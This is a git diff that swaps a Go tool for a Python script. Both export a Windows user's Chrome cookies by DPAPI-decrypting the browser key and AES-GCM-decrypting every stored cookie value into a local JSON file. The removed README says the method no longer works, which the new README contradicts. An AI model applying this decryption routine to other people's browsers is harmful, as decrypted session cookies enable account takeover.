diff --git a/export-chrome-cookies/.gitignore b/export-chrome-cookies/.gitignore index d4fae3d..61da5fc 100644 --- a/export-chrome-cookies/.gitignore +++ b/export-chrome-cookies/.gitignore @@ -1,38 +1,166 @@ +.idea Cookies Local State cookies.json +# Byte-compiled / optimized / DLL files +__pycache__/ +*.py[cod] +*$py.class -# If you prefer the allow list template instead of the deny list, see community template: -# https://github.com/github/gitignore/blob/main/community/Golang/Go.AllowList.gitignore -# -# Binaries for programs and plugins -*.exe -*.exe~ -*.dll +# C extensions *.so -*.dylib -# Test binary, built with `go test -c` -*.test +# Distribution / packaging +.Python +build/ +develop-eggs/ +dist/ +downloads/ +eggs/ +.eggs/ +lib/ +lib64/ +parts/ +sdist/ +var/ +wheels/ +share/python-wheels/ +*.egg-info/ +.installed.cfg +*.egg +MANIFEST -# Code coverage profiles and other test artifacts -*.out -coverage.* -*.coverprofile -profile.cov +# PyInstaller +# Usually these files are written by a python script from a template +# before PyInstaller builds the exe, so as to inject date/other infos into it. +*.manifest +*.spec -# Dependency directories (remove the comment below to include it) -# vendor/ +# Installer logs +pip-log.txt +pip-delete-this-directory.txt -# Go workspace file -go.work -go.work.sum +# Unit test / coverage reports +htmlcov/ +.tox/ +.nox/ +.coverage +.coverage.* +.cache +nosetests.xml +coverage.xml +*.cover +*.py,cover +.hypothesis/ +.pytest_cache/ +cover/ -# env file +# Translations +*.mo +*.pot + +# Django stuff: +*.log +local_settings.py +db.sqlite3 +db.sqlite3-journal + +# Flask stuff: +instance/ +.webassets-cache + +# Scrapy stuff: +.scrapy + +# Sphinx documentation +docs/_build/ + +# PyBuilder +.pybuilder/ +target/ + +# Jupyter Notebook +.ipynb_checkpoints + +# IPython +profile_default/ +ipython_config.py + +# pyenv +# For a library or package, you might want to ignore these files since the code is +# intended to run in multiple environments; otherwise, check them in: +# .python-version + +# pipenv +# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. +# However, in case of collaboration, if having platform-specific dependencies or dependencies +# having no cross-platform support, pipenv may install dependencies that don't work, or not +# install all needed dependencies. +#Pipfile.lock + +# poetry +# Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. +# This is especially recommended for binary packages to ensure reproducibility, and is more +# commonly ignored for libraries. +# https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control +#poetry.lock + +# pdm +# Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control. +#pdm.lock +# pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it +# in version control. +# https://pdm.fming.dev/#use-with-ide +.pdm.toml + +# PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm +__pypackages__/ + +# Celery stuff +celerybeat-schedule +celerybeat.pid + +# SageMath parsed files +*.sage.py + +# Environments .env +.venv +env/ +venv/ +ENV/ +env.bak/ +venv.bak/ -# Editor/IDE -# .idea/ -# .vscode/ +# Spyder project settings +.spyderproject +.spyproject + +# Rope project settings +.ropeproject + +# mkdocs documentation +/site + +# mypy +.mypy_cache/ +.dmypy.json +dmypy.json + +# Pyre type checker +.pyre/ + +# pytype static type analyzer +.pytype/ + +# Cython debug symbols +cython_debug/ + +# PyCharm +# JetBrains specific template is maintained in a separate JetBrains.gitignore that can +# be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore +# and can be added to the global gitignore or merged into this file. For a more nuclear +# option (not recommended) you can uncomment the following to ignore the entire idea folder. +#.idea/ diff --git a/export-chrome-cookies/README.md b/export-chrome-cookies/README.md index 7d957b1..e8e5001 100644 --- a/export-chrome-cookies/README.md +++ b/export-chrome-cookies/README.md @@ -1,7 +1,43 @@ # export-chrome-cookies -*In 2025, I rewrote this project using Go. The original Python version of this project can be found at `feature/python` branch.* +Python script to export Google Chrome cookies on Windows. -**This method not work anymore, even the Python version** +## Quick start -Export Google Chrome cookies in Windows using Go +```bash +pip install -r requirements.txt +python main.py +``` + +> **Note:** Run on Windows with Chrome fully closed. Chrome locks its SQLite cookie database while running. + +## Output format + +Cookies are written to `cookies.json` in the current directory. Each entry follows the WebExtension cookie schema: + +```json +{ + "domain": ".example.com", + "name": "session_id", + "value": "abc123", + "path": "/", + "secure": true, + "httpOnly": false, + "sameSite": "lax", + "expirationDate": 1735689600, + "session": false +} +``` + +## Chrome v10+ encryption + +Chrome 80+ on Windows encrypts cookie values using AES-256-GCM with a key stored in `Local State` (protected by DPAPI). The script: +1. Reads the base64-encoded encrypted key from `AppData\Local\Google\Chrome\User Data\Local State`. +2. Decrypts it with `win32crypt.CryptUnprotectData`. +3. Uses the key to decrypt each cookie value from the `Cookies` SQLite database. + +You must run the script **as the same Windows user** who owns the Chrome profile — DPAPI keys are user-scoped. + +## License + +Apache-2.0 — see [LICENSE](LICENSE). diff --git a/export-chrome-cookies/go.mod b/export-chrome-cookies/go.mod deleted file mode 100644 index 8783cb5..0000000 --- a/export-chrome-cookies/go.mod +++ /dev/null @@ -1,22 +0,0 @@ -module github.com/tiennm99/export-chrome-cookies - -go 1.24.0 - -toolchain go1.24.10 - -require ( - golang.org/x/sys v0.38.0 - modernc.org/sqlite v1.40.1 -) - -require ( - github.com/dustin/go-humanize v1.0.1 // indirect - github.com/google/uuid v1.6.0 // indirect - github.com/mattn/go-isatty v0.0.20 // indirect - github.com/ncruces/go-strftime v0.1.9 // indirect - github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect - golang.org/x/exp v0.0.0-20250620022241-b7579e27df2b // indirect - modernc.org/libc v1.66.10 // indirect - modernc.org/mathutil v1.7.1 // indirect - modernc.org/memory v1.11.0 // indirect -) diff --git a/export-chrome-cookies/go.sum b/export-chrome-cookies/go.sum deleted file mode 100644 index ea08d53..0000000 --- a/export-chrome-cookies/go.sum +++ /dev/null @@ -1,49 +0,0 @@ -github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY= -github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto= -github.com/google/pprof v0.0.0-20250317173921-a4b03ec1a45e h1:ijClszYn+mADRFY17kjQEVQ1XRhq2/JR1M3sGqeJoxs= -github.com/google/pprof v0.0.0-20250317173921-a4b03ec1a45e/go.mod h1:boTsfXsheKC2y+lKOCMpSfarhxDeIzfZG1jqGcPl3cA= -github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= -github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= -github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY= -github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= -github.com/ncruces/go-strftime v0.1.9 h1:bY0MQC28UADQmHmaF5dgpLmImcShSi2kHU9XLdhx/f4= -github.com/ncruces/go-strftime v0.1.9/go.mod h1:Fwc5htZGVVkseilnfgOVb9mKy6w1naJmn9CehxcKcls= -github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE= -github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo= -golang.org/x/exp v0.0.0-20250620022241-b7579e27df2b h1:M2rDM6z3Fhozi9O7NWsxAkg/yqS/lQJ6PmkyIV3YP+o= -golang.org/x/exp v0.0.0-20250620022241-b7579e27df2b/go.mod h1:3//PLf8L/X+8b4vuAfHzxeRUl04Adcb341+IGKfnqS8= -golang.org/x/mod v0.27.0 h1:kb+q2PyFnEADO2IEF935ehFUXlWiNjJWtRNgBLSfbxQ= -golang.org/x/mod v0.27.0/go.mod h1:rWI627Fq0DEoudcK+MBkNkCe0EetEaDSwJJkCcjpazc= -golang.org/x/sync v0.16.0 h1:ycBJEhp9p4vXvUZNszeOq0kGTPghopOL8q0fq3vstxw= -golang.org/x/sync v0.16.0/go.mod h1:1dzgHSNfp02xaA81J2MS99Qcpr2w7fw1gpm99rleRqA= -golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.38.0 h1:3yZWxaJjBmCWXqhN1qh02AkOnCQ1poK6oF+a7xWL6Gc= -golang.org/x/sys v0.38.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks= -golang.org/x/tools v0.36.0 h1:kWS0uv/zsvHEle1LbV5LE8QujrxB3wfQyxHfhOk0Qkg= -golang.org/x/tools v0.36.0/go.mod h1:WBDiHKJK8YgLHlcQPYQzNCkUxUypCaa5ZegCVutKm+s= -modernc.org/cc/v4 v4.26.5 h1:xM3bX7Mve6G8K8b+T11ReenJOT+BmVqQj0FY5T4+5Y4= -modernc.org/cc/v4 v4.26.5/go.mod h1:uVtb5OGqUKpoLWhqwNQo/8LwvoiEBLvZXIQ/SmO6mL0= -modernc.org/ccgo/v4 v4.28.1 h1:wPKYn5EC/mYTqBO373jKjvX2n+3+aK7+sICCv4Fjy1A= -modernc.org/ccgo/v4 v4.28.1/go.mod h1:uD+4RnfrVgE6ec9NGguUNdhqzNIeeomeXf6CL0GTE5Q= -modernc.org/fileutil v1.3.40 h1:ZGMswMNc9JOCrcrakF1HrvmergNLAmxOPjizirpfqBA= -modernc.org/fileutil v1.3.40/go.mod h1:HxmghZSZVAz/LXcMNwZPA/DRrQZEVP9VX0V4LQGQFOc= -modernc.org/gc/v2 v2.6.5 h1:nyqdV8q46KvTpZlsw66kWqwXRHdjIlJOhG6kxiV/9xI= -modernc.org/gc/v2 v2.6.5/go.mod h1:YgIahr1ypgfe7chRuJi2gD7DBQiKSLMPgBQe9oIiito= -modernc.org/goabi0 v0.2.0 h1:HvEowk7LxcPd0eq6mVOAEMai46V+i7Jrj13t4AzuNks= -modernc.org/goabi0 v0.2.0/go.mod h1:CEFRnnJhKvWT1c1JTI3Avm+tgOWbkOu5oPA8eH8LnMI= -modernc.org/libc v1.66.10 h1:yZkb3YeLx4oynyR+iUsXsybsX4Ubx7MQlSYEw4yj59A= -modernc.org/libc v1.66.10/go.mod h1:8vGSEwvoUoltr4dlywvHqjtAqHBaw0j1jI7iFBTAr2I= -modernc.org/mathutil v1.7.1 h1:GCZVGXdaN8gTqB1Mf/usp1Y/hSqgI2vAGGP4jZMCxOU= -modernc.org/mathutil v1.7.1/go.mod h1:4p5IwJITfppl0G4sUEDtCr4DthTaT47/N3aT6MhfgJg= -modernc.org/memory v1.11.0 h1:o4QC8aMQzmcwCK3t3Ux/ZHmwFPzE6hf2Y5LbkRs+hbI= -modernc.org/memory v1.11.0/go.mod h1:/JP4VbVC+K5sU2wZi9bHoq2MAkCnrt2r98UGeSK7Mjw= -modernc.org/opt v0.1.4 h1:2kNGMRiUjrp4LcaPuLY2PzUfqM/w9N23quVwhKt5Qm8= -modernc.org/opt v0.1.4/go.mod h1:03fq9lsNfvkYSfxrfUhZCWPk1lm4cq4N+Bh//bEtgns= -modernc.org/sortutil v1.2.1 h1:+xyoGf15mM3NMlPDnFqrteY07klSFxLElE2PVuWIJ7w= -modernc.org/sortutil v1.2.1/go.mod h1:7ZI3a3REbai7gzCLcotuw9AC4VZVpYMjDzETGsSMqJE= -modernc.org/sqlite v1.40.1 h1:VfuXcxcUWWKRBuP8+BR9L7VnmusMgBNNnBYGEe9w/iY= -modernc.org/sqlite v1.40.1/go.mod h1:9fjQZ0mB1LLP0GYrp39oOJXx/I2sxEnZtzCmEQIKvGE= -modernc.org/strutil v1.2.1 h1:UneZBkQA+DX2Rp35KcM69cSsNES9ly8mQWD71HKlOA0= -modernc.org/strutil v1.2.1/go.mod h1:EHkiggD70koQxjVdSBM3JKM7k6L0FbGE5eymy9i3B9A= -modernc.org/token v1.1.0 h1:Xl7Ap9dKaEs5kLoOQeQmPWevfnk/DM5qcLcYlA8ys6Y= -modernc.org/token v1.1.0/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM= diff --git a/export-chrome-cookies/main.go b/export-chrome-cookies/main.go deleted file mode 100644 index 75ded23..0000000 --- a/export-chrome-cookies/main.go +++ /dev/null @@ -1,325 +0,0 @@ -package main - -import ( - "crypto/aes" - "crypto/cipher" - "database/sql" - "encoding/base64" - "encoding/json" - "fmt" - "io" - "os" - "path/filepath" - "time" - "unsafe" - - "golang.org/x/sys/windows" - _ "modernc.org/sqlite" -) - -type Cookie struct { - Domain string `json:"domain"` - ExpirationDate float64 `json:"expirationDate"` - HostOnly bool `json:"hostOnly"` - HTTPOnly bool `json:"httpOnly"` - Name string `json:"name"` - Path string `json:"path"` - SameSite string `json:"sameSite"` - Secure bool `json:"secure"` - Session bool `json:"session"` - StoreID string `json:"storeId"` - Value string `json:"value"` - ID int `json:"id"` -} - -type LocalState struct { - OSCrypt struct { - EncryptedKey string `json:"encrypted_key"` - } `json:"os_crypt"` -} - -func main() { - userProfile := os.Getenv("USERPROFILE") - localStatePath := filepath.Join(userProfile, "AppData", "Local", "Google", "Chrome", "User Data", "Local State") - cookiesPath := filepath.Join(userProfile, "AppData", "Local", "Google", "Chrome", "User Data", "Default", "Network", "Cookies") - - // Get encryption key - key, err := getEncryptionKey(localStatePath) - if err != nil { - fmt.Printf("Error getting encryption key: %v\n", err) - return - } - fmt.Printf("Encryption key length: %d bytes\n", len(key)) - fmt.Printf("Key first bytes: %v\n", key[:min(16, len(key))]) - - // Extract cookies - cookies, err := extractCookies(cookiesPath, key) - if err != nil { - fmt.Printf("Error extracting cookies: %v\n", err) - return - } - - // Save to JSON - jsonData, err := json.MarshalIndent(cookies, "", " ") - if err != nil { - fmt.Printf("Error marshaling JSON: %v\n", err) - return - } - - err = os.WriteFile("cookies.json", jsonData, 0644) - if err != nil { - fmt.Printf("Error writing JSON file: %v\n", err) - return - } - - fmt.Printf("Successfully extracted %d cookies to cookies.json\n", len(cookies)) -} - -func getEncryptionKey(localStatePath string) ([]byte, error) { - // Always copy a fresh Local State file - workingFile := "Local State" - // Remove old copy if exists - os.Remove(workingFile) - - if err := copyFile(localStatePath, workingFile); err != nil { - return nil, fmt.Errorf("failed to copy Local State: %v", err) - } - - // Read and parse Local State - data, err := os.ReadFile(workingFile) - if err != nil { - return nil, fmt.Errorf("failed to read Local State: %v", err) - } - - var localState LocalState - if err := json.Unmarshal(data, &localState); err != nil { - return nil, fmt.Errorf("failed to parse Local State: %v", err) - } - - // Decode base64 key - encryptedKey, err := base64.StdEncoding.DecodeString(localState.OSCrypt.EncryptedKey) - if err != nil { - return nil, fmt.Errorf("failed to decode key: %v", err) - } - - fmt.Printf("Encrypted key length: %d bytes\n", len(encryptedKey)) - fmt.Printf("Encrypted key prefix: %s\n", string(encryptedKey[:5])) - - // Remove "DPAPI" prefix (first 5 bytes) - if len(encryptedKey) < 5 || string(encryptedKey[:5]) != "DPAPI" { - return nil, fmt.Errorf("encrypted key doesn't have DPAPI prefix") - } - encryptedKey = encryptedKey[5:] - - // Decrypt using DPAPI - key, err := dpAPIDecrypt(encryptedKey) - if err != nil { - return nil, fmt.Errorf("failed to decrypt key: %v", err) - } - - return key, nil -} - -func dpAPIDecrypt(data []byte) ([]byte, error) { - dataBlob := windows.DataBlob{ - Size: uint32(len(data)), - Data: &data[0], - } - var outBlob windows.DataBlob - - err := windows.CryptUnprotectData(&dataBlob, nil, nil, 0, nil, 0, &outBlob) - if err != nil { - return nil, fmt.Errorf("DPAPI decrypt failed: %v", err) - } - - decrypted := make([]byte, outBlob.Size) - copy(decrypted, unsafe.Slice(outBlob.Data, outBlob.Size)) - windows.LocalFree(windows.Handle(unsafe.Pointer(outBlob.Data))) - - return decrypted, nil -} - -func extractCookies(cookiesPath string, key []byte) ([]Cookie, error) { - // Always copy a fresh cookies database - workingDB := "Cookies" - // Remove old copy if exists - os.Remove(workingDB) - - if err := copyFile(cookiesPath, workingDB); err != nil { - return nil, fmt.Errorf("failed to copy Cookies database: %v", err) - } - - // Open database - db, err := sql.Open("sqlite", workingDB) - if err != nil { - return nil, fmt.Errorf("failed to open database: %v", err) - } - defer db.Close() - - // Query cookies - query := `SELECT host_key, name, value, encrypted_value, path, expires_utc, is_secure, - is_httponly, has_expires, is_persistent, samesite FROM cookies` - rows, err := db.Query(query) - if err != nil { - return nil, fmt.Errorf("failed to query cookies: %v", err) - } - defer rows.Close() - - var cookies []Cookie - id := 1 - - for rows.Next() { - var hostKey, name, value, path string - var encryptedValue []byte - var expiresUTC, isSecure, isHTTPOnly, hasExpires, isPersistent, sameSite int64 - - err := rows.Scan(&hostKey, &name, &value, &encryptedValue, &path, &expiresUTC, - &isSecure, &isHTTPOnly, &hasExpires, &isPersistent, &sameSite) - if err != nil { - continue - } - - // Debug output for first few cookies - if id <= 3 { - fmt.Printf("Cookie #%d: %s\n", id, name) - fmt.Printf(" Value field: '%s' (len=%d)\n", value, len(value)) - fmt.Printf(" Encrypted field: len=%d\n", len(encryptedValue)) - if len(encryptedValue) > 0 { - fmt.Printf(" First bytes: %v\n", encryptedValue[:min(10, len(encryptedValue))]) - } - } - - // Decrypt value if needed - decryptedValue := value - if value == "" && len(encryptedValue) > 0 { - decryptedValue = decryptData(encryptedValue, key) - if id <= 3 { - fmt.Printf(" Decrypted: '%s'\n", decryptedValue) - } - } - - cookie := Cookie{ - Domain: hostKey, - ExpirationDate: convertToUnixTime(expiresUTC), - HostOnly: false, - HTTPOnly: isHTTPOnly == 1, - Name: name, - Path: path, - SameSite: convertSameSite(int(sameSite)), - Secure: isSecure == 1, - Session: isPersistent == 0, - StoreID: "0", - Value: decryptedValue, - ID: id, - } - - cookies = append(cookies, cookie) - id++ - } - - return cookies, nil -} - -func decryptData(data []byte, key []byte) string { - // Check if data starts with "v10", "v11", or "v20" prefix (Chrome's encryption marker) - if len(data) > 3 && data[0] == 'v' { - version := string(data[0:3]) - - // v10, v11, v20 all use AES-GCM with 12-byte nonce - if version == "v10" || version == "v11" || version == "v20" { - if len(data) < 15 { - return "" - } - - // Nonce is bytes 3-15 (12 bytes) - nonce := data[3:15] - encryptedData := data[15:] - - // Create AES-GCM cipher - block, err := aes.NewCipher(key) - if err != nil { - fmt.Printf(" AES cipher error: %v\n", err) - return "" - } - - aesgcm, err := cipher.NewGCM(block) - if err != nil { - fmt.Printf(" GCM error: %v\n", err) - return "" - } - - // Decrypt - decrypted, err := aesgcm.Open(nil, nonce, encryptedData, nil) - if err != nil { - fmt.Printf(" Decrypt error: %v\n", err) - return "" - } - - return string(decrypted) - } - } - - // Try DPAPI fallback for older encryption - if len(data) > 0 { - if decrypted, err := dpAPIDecrypt(data); err == nil { - return string(decrypted) - } - } - - return "" -} - -func convertToUnixTime(expiresUTC int64) float64 { - if expiresUTC == 0 { - return 0 - } - - // Chrome's timestamp is microseconds since January 1, 1601 - // Convert to Unix timestamp (seconds since January 1, 1970) - chromeEpoch := time.Date(1601, 1, 1, 0, 0, 0, 0, time.UTC) - unixEpoch := time.Date(1970, 1, 1, 0, 0, 0, 0, time.UTC) - - expiresTime := chromeEpoch.Add(time.Duration(expiresUTC) * time.Microsecond) - unixTime := expiresTime.Sub(unixEpoch).Seconds() - - return unixTime -} - -func convertSameSite(sameSite int) string { - sameSiteMap := map[int]string{ - -1: "unspecified", - 0: "no_restriction", - 1: "lax", - 2: "strict", - 3: "none", - } - - if val, ok := sameSiteMap[sameSite]; ok { - return val - } - return "unspecified" -} - -func min(a, b int) int { - if a < b { - return a - } - return b -} - -func copyFile(src, dst string) error { - sourceFile, err := os.Open(src) - if err != nil { - return err - } - defer sourceFile.Close() - - destFile, err := os.Create(dst) - if err != nil { - return err - } - defer destFile.Close() - - _, err = io.Copy(destFile, sourceFile) - return err -} diff --git a/export-chrome-cookies/main.py b/export-chrome-cookies/main.py new file mode 100644 index 0000000..3356128 --- /dev/null +++ b/export-chrome-cookies/main.py @@ -0,0 +1,136 @@ +import base64 +import json +import os +import shutil +import sqlite3 +from datetime import datetime, timedelta + +import win32crypt # pip install pypiwin32 +from Crypto.Cipher import AES # pip install pycryptodome + +# This is Windows version +# You may want to edit these values to match your OS +local_state_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome", "User Data", + "Local State") +cookies_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome", "User Data", "Default", + "Network", "Cookies") + + +def convert_to_unix_time(expires_utc): + """ + :param expires_utc: microseconds diff since January, 1601 + :return: epoch time in seconds + """ + if expires_utc == 0: + return 0 + # Define the start date as January 1, 1601 + start_date = datetime(1601, 1, 1) + # Calculate the timedelta from the start date to the expires_utc date + expires_date = start_date + timedelta(microseconds=expires_utc) + # Define the Unix epoch start date as January 1, 1970 + epoch_start_date = datetime(1970, 1, 1) + # Calculate the timedelta from the Unix epoch start date to the expires_utc date + unix_time = (expires_date - epoch_start_date).total_seconds() + return unix_time + + +def convert_samesite(samesite): + samesite_mapping = { + -1: "unspecified", + 0: "no_restriction", + 1: "lax", + 2: "strict", + 3: "none", + } + return samesite_mapping.get(samesite, "unspecified") + + +def get_encryption_key(): + working_local_state = "Local State" + if not os.path.isfile(working_local_state): + shutil.copyfile(local_state_path, working_local_state) + with open(working_local_state, "r", encoding="utf-8") as f: + local_state = f.read() + local_state = json.loads(local_state) + + # decode the encryption key from Base64 + key = base64.b64decode(local_state["os_crypt"]["encrypted_key"]) + # remove 'DPAPI' str + key = key[5:] + # return decrypted key that was originally encrypted + # using a session key derived from current user's logon credentials + # doc: http://timgolden.me.uk/pywin32-docs/win32crypt.html + return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1] + + +def decrypt_data(data, key): + try: + # get the initialization vector + iv = data[3:15] + data = data[15:] + # generate cipher + cipher = AES.new(key, AES.MODE_GCM, iv) + # decrypt password + return cipher.decrypt(data)[:-16].decode() + except: + try: + return str(win32crypt.CryptUnprotectData(data, None, None, None, 0)[1]) + except: + # not supported + return "" + + +def main(): + # local sqlite Chrome cookie database path + # copy the file to current directory + # as the database will be locked if chrome is currently open + working_cookies = "Cookies" + if not os.path.isfile(working_cookies): + shutil.copyfile(cookies_path, working_cookies) + # connect to the database + db = sqlite3.connect(working_cookies) + # ignore decoding errors + db.text_factory = lambda b: b.decode(errors="ignore") + cursor = db.cursor() + # get the cookies from `cookies` table + cursor.execute(""" + SELECT host_key, name, value, encrypted_value, path, expires_utc, is_secure, is_httponly, has_expires, + is_persistent, samesite FROM cookies""") + + encryption_key = get_encryption_key() + + cookies_list = [] + for i, (host_key, name, value, encrypted_value, path, expires_utc, is_secure, is_httponly, has_expires, + is_persistent, samesite) in enumerate(cursor.fetchall()): + if not value: + decrypted_value = decrypt_data(encrypted_value, encryption_key) + else: + # already decrypted + decrypted_value = value + + cookies_list.append({ + "domain": host_key, + "expirationDate": convert_to_unix_time(expires_utc), + "hostOnly": False, # This information is not available in the SQLite database + "httpOnly": bool(is_httponly), + "name": name, + "path": path, + "sameSite": convert_samesite(samesite), + "secure": bool(is_secure), + "session": not bool(is_persistent), + "storeId": "0", # This information is not available in the SQLite database + "value": decrypted_value, + "id": i + 1 + }) + + # commit changes + db.commit() + # close connection + db.close() + + with open('cookies.json', 'w') as f: + json.dump(cookies_list, f, indent=4) + + +if __name__ == "__main__": + main() diff --git a/export-chrome-cookies/requirements.txt b/export-chrome-cookies/requirements.txt new file mode 100644 index 0000000..19f6e51 --- /dev/null +++ b/export-chrome-cookies/requirements.txt @@ -0,0 +1,3 @@ +pycryptodome==3.20.0 +pypiwin32==223 +pywin32==306